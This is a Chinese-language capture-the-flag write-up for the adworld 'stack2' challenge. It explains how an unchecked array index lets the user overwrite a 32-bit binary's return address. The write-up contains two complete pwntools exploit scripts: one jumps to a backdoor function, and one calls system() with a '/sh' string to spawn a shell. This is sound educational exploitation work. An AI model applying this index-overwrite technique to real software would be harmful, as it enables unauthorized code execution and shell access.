adworld | stack2(数组索引利用)

题目地址

静态分析

拿到附件,首先 checksec 一下

运行发现这是一个求算数平均数的小工具,界面看起来十分友好

拉到 IDA 里静态分析一下,在六十多行发现疑似可利用点

数组 v13 的索引 v5 是我们输入的,所以等于说我们控制了栈上任意位置

加上每个选项都可以无限循环,可以进行注入,但由于有保护机制,所以无法直接注入 payload

此时发现还有一个函数 hackhere()

所以思路就是控制 main() 函数返回到这个后门函数中(这样也不会触发 Canary )

偏移量计算

一直觉得偏移量计算操作的很迷,网上的 writeup 都是在尝试读入 v5 之后看哪个地址的值与输入的一样,

在实际中,由于汇编代码一直 mov,所以可能会有不止一个地址与输入的一样,所以干脆参考 IDA 栈空间的偏移

在 main() 函数 retn 处下一个断点,观察此时 $esp 附近哪个地址为输入的数,并调整偏移量正好落在 esp 上

有时候就是要这样用 GDB 慢慢去试,得出到达返回地址正确的偏移量为 0x84 ~ 0x84 + 4

把 v13[0x84] - v13[0x84 + 4] 赋值为 hackhere() 的地址 0x0804859B(注意小端存储,低位在前)

代码如下

from pwn import *

context.log_level = 'debug'
io = process('./source')
#io = remote('220.249.52.133', '41712')

input()

def write_addr(offset, val):
	print (str(offset))	
	io.sendline('3')
	io.recvuntil('which number to change:\n')
	io.sendline(str(offset))
	io.recvuntil('new number:\n')
	io.sendline(str(val))
	io.recvuntil('5. exit\n')

io.recvuntil('How many numbers you have:\n')
io.sendline('1')
io.recvuntil('Give me your numbers\n')
io.sendline('1')
io.recvuntil("5. exit\n")

#hack_here: 0x0804859B
write_addr(0x84, 0x9B)
write_addr(0x84+1, 0x85)
write_addr(0x84+2, 0x04)
write_addr(0x84+3, 0x08)

io.sendline('5')
io.interactive()

改良

据说在线容器中 bin 里面没有 bash,所以不能直接让程序返回到 hackhere() 函数内

改调用 system() 函数(0x08048450),参数选取字符串 '/bin/bash' 里面的 '/sh'(0x08048987)

代码如下

from pwn import *

context.log_level = 'debug'
io = process('./source')
#io = remote('220.249.52.133', '41712')

input()

def write_addr(offset, val):
	print (str(offset))	
	io.sendline('3')
	io.recvuntil('which number to change:\n')
	io.sendline(str(offset))
	io.recvuntil('new number:\n')
	io.sendline(str(val))
	io.recvuntil('5. exit\n')

io.recvuntil('How many numbers you have:\n')
io.sendline('1')
io.recvuntil('Give me your numbers\n')
io.sendline('1')
io.recvuntil("5. exit\n")

#system_addr: 0x08048450
write_addr(0x84, 0x50)
write_addr(0x84+1, 0x84)
write_addr(0x84+2, 0x04)
write_addr(0x84+3, 0x08)

#'sh'_addr: 0x08048987
write_addr(0x84+8, 0x87)
write_addr(0x84+8+1, 0x89)
write_addr(0x84+8+2, 0x04)
write_addr(0x84+8+3, 0x08)


io.sendline('5')
io.interactive()

猜你喜欢

转载自www.cnblogs.com/zhwer/p/13208298.html